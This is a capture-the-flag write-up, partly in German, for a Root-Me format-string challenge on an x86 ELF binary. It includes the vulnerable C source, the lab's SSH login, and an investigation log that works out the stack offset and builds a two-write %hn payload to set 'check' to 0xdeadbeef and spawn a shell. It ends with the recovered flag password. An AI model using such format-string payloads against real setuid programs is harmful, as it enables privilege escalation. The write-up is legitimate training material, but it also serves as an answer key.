6.4 KiB
ELF x86 - Format string bug basic 2
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
Aufgabe Einstellungen der Umgebung PIE Position Independent Executable pas_valide.svg?1566650180 RelRO Read Only relocations pas_valide.svg?1566650180 NX Non-Executable Stack valide.svg?1566650190 Heap exec Non-Executable Heap valide.svg?1566650190 ASLR Address Space Layout Randomization pas_valide.svg?1566650180 SF Source Fortification pas_valide.svg?1566650180 SSP Stack-Smashing Protection valide.svg?1566650190 SRC Zugriff auf den Source code valide.svg?1566650190 Quellcode
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}
Zugangsdaten für die Übung
Host challenge02.root-me.org Protokoll SSH Port 2222 Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org Benutzername app-systeme-ch14 Passwort app-systeme-ch14
Investigation Log
Downloaded challenge files
Used Paramiko to fetch remote files into artifacts/: ch14, ch14.c, Makefile.
Makefile confirms build flags:
-m32 -no-pie-z noexecstack
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
Vulnerability
The bug is here:
snprintf(fmt, sizeof(fmt), argv[1]);
argv[1] is used directly as a format string. With format directives like %n, we can write to memory.
Target variable:
int check = 0x04030201;
...
if (check == 0xdeadbeef) {
system("/bin/bash");
}
Stack argument offset discovery
Bruteforce payload: AAAA.%<i>$x.
Result: at offset 9 we get 41414141.
So first 4 bytes of our payload are interpreted as argument 9.
Write strategy
Need to write 0xdeadbeef into check.
Used two half-word writes with %hn:
- lower half (addr):
0xbeef(48879) - upper half (addr+2):
0xdead(57005)
Payload layout:
- 4 bytes:
p32(check_addr) - 4 bytes:
p32(check_addr+2) - format tail:
%11$48871x%9$hn%12$8126x%10$hn
Why those paddings:
- first 8 bytes already count as printed characters
- 48871 + 8 = 48879 (0xbeef) -> first
%hn - 8126 more chars -> 57005 (0xdead) -> second
%hn
Address behavior and PTY note
check stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
For reliable exploit:
- probe
checkaddress with same payload length and PTY mode - immediately run exploit in PTY mode
Observed stable PTY probe address: 0xbffffb88.
Successful exploitation
Exploit output:
check=0xdeadbeefYeah dude ! You win !- effective uid switched to
app-systeme-ch14-cracked
Recovered password:
1l1k3p0Rn&P0pC0rn
Helper Scripts
scripts/find_offset.py: brute-force the format-string stack offset.scripts/exploit.py: probescheckaddress and performs 2x%hnwrite to spawn shell and read.passwd.
Note: exploit implementation without struct.pack
The exploit script no longer uses struct.pack("<I", ...).
Instead, it uses a manual little-endian encoder:
def p32_le(value: int) -> bytes:
value &= 0xFFFFFFFF
return bytes((
value & 0xFF,
(value >> 8) & 0xFF,
(value >> 16) & 0xFF,
(value >> 24) & 0xFF,
))
This produces the same 4-byte layout as struct.pack("<I", value) on x86.
Example:
0xbffffb88-> bytes88 fb ff bf0xbffffb8a-> bytes8a fb ff bf
So the payload semantics are unchanged: argument 9 points to check, argument 10 points to check+2, and the two %hn writes still set check to 0xdeadbeef.
Solution Explanation
- Identify the bug
The program calls:
snprintf(fmt, sizeof(fmt), argv[1]);
User input is interpreted as a format string. This allows format-string primitives like stack reads (%x) and memory writes (%n / %hn).
- Define the win condition
The shell is spawned only if:
if (check == 0xdeadbeef) {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
So exploitation goal is to overwrite local stack variable check from 0x04030201 to 0xdeadbeef.
- Find where our bytes land in variadic arguments
Using marker payloads like AAAA.%<i>$x, we detect when 41414141 appears.
Observed offset: 9.
Meaning:
- bytes 0..3 of payload are read as argument 9
- bytes 4..7 of payload are read as argument 10
- Choose a safe write primitive
Writing full 32-bit with one %n is possible but impractical due to huge padding.
Use two half-word writes with %hn:
- write lower 16 bits (
0xbeef) tocheck - write upper 16 bits (
0xdead) tocheck+2
- Build the payload
Payload bytes:
- first 4 bytes: little-endian address of
check - next 4 bytes: little-endian address of
check+2 - then format tail:
%11$48871x%9$hn%12$8126x%10$hn
Padding math:
- 8 raw address bytes are already counted as printed chars
- need first total count
48879(0xbeef): print48871extra chars - after first
%hn, need second total count57005(0xdead): print8126extra chars
- Handle runtime detail (PTY stability)
The stack address printed for check is stable only for the same invocation style.
PTY vs non-PTY shifts addresses. Reliable method:
- probe address in PTY mode with same payload length
- exploit immediately in PTY mode with same layout
- Confirm success
Successful run shows:
check=0xdeadbeefYeah dude ! You win !- effective identity
app-systeme-ch14-cracked - readable flag/password file
.passwd
Recovered password:
1l1k3p0Rn&P0pC0rn